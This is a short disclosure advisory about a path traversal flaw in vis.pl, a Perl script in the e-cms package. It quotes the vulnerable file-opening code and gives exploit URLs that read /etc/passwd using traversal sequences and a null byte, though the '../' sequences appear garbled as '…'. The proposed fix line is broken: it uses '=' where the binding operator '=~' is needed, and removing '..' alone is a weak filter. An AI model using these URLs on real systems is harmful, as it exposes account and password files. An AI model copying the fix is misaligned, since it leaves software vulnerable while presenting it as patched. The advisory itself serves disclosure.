[HSC] Multiple transversal bug in vis

Hackers Center Security Group (http://www.hackerscenter.com/)
spher3's Security Advisory

Multiple transversal bug in vis.pl

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Description:

Vis.pl is a perl script which manages files in order to show these;
you can find it in e-cms default files. The vulnerability taken in
exam is classifiable as transversal bug. In fact can show to everybody
files such as passwords or accounts.

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Code Details:

Vis.pl doesn't control cgi query except for:

[…]

if ( -e $datFile )
{
open ( DAT_FILE, "$datFile" );

[…]

This function controls only the file existence.
Then the script start to open the file without check dangerous
characters as "." and "/".
So is simply to access where you want:

http://[target]/cgi-bin/e-cms/vis/vis.pl?s=001&p=…/…/…/…/etc/passwd%00

All variables that open files are unsafe:

http://[target]/cgi-bin/e-cms/vis/vis.pl?s=…/…/…/…/etc/passwd%00

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How to fix:

You can fix this script with remove those dangerouse characters as taught
from W3C WWW Security FAQ. Just adding a line:

$datFile = s/\.\.//g;

You have to insert a line like this for ALL variables which contain files
to open.